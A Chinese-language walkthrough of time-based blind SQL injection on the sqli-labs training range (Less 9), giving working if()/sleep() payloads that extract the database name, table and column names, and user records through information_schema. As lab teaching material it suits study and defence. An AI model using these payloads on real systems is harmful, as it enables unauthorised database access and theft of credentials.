时间盲注和布尔盲注很像,区别就是“参照物”的不同,布尔盲注是通过页面的一些变化来进行判断结果,但是有时候,执行一些sql语句的测试,页面不会有像布尔盲注那样直观的变化,这个时候可以在布尔盲注的基础上结合if判断和sleep()函数来得到一个时间上的延迟参照,也就可以让我们进行一些判断,也就是所谓的“时间盲注”,又叫“延时注入”。
这里以sqli-labs靶场的less 9为例:
尝试用hackbar输入/?id=1和/?id=1'和/?id=1",但结果都是
说明这关对所有信息都做了统一输出,换成延时注入
/?id=1' and sleep(10)--+
等待了好几秒,说明sleep()函数被执行了
判断数据库长度:
?id=1' and if(length(database())=x,sleep(15),1)--+
不断变化x的值和时间延迟来确定数据库名长度,得出x=8,即数据库名长度为8
猜测数据库名:
?id=1' and if(ascii(substr(database(),x,1))=y,sleep(15),1)--+
?id=1' and if(substr(database(),x,1)='a',sleep(15),1)--+
这里用burp的重放器试试,先测第一位:
?id=1' and if(substr(database(),1,1)='a',sleep(15),1)--+
后面测试出来第一位是s,第二位是e,第三位是u,猜测是security,当然后续也证明了数据库名是security
猜测数据库security的表名:
先测第一个表的第一个字符,猜测是'e':
?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(15),1)--+
第一个表的第二个字符,猜测是'm':
?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1)='m',sleep(15),1)--+
还是一样在burp的重放器中进行,后续得到第一个表是emails
第二个表的第一个字符,猜测是'r':
?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='r',sleep(15),1)--+
以此类推,得到所有表名:
emails、referers、uagents和users
(一般重要信息都是在users表中,所以一般都将第一个字符猜测成'u')
猜测security数据库中的users表中的列名:
还是老样子,猜测users表中的第一个列的第一个字符:
?id=1' and if (substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep(15),1)--+
以此类推,得出列名:
id、username、password
猜测username和password的值:
老样子,猜测username的第一行的第一个字符
?id=1' and if(substr((select username from users limit 0,1), 1,1)='D',sleep(15),1)--+
做到这里做不动了,花了很长时间去跑sqlmap跑出来结果了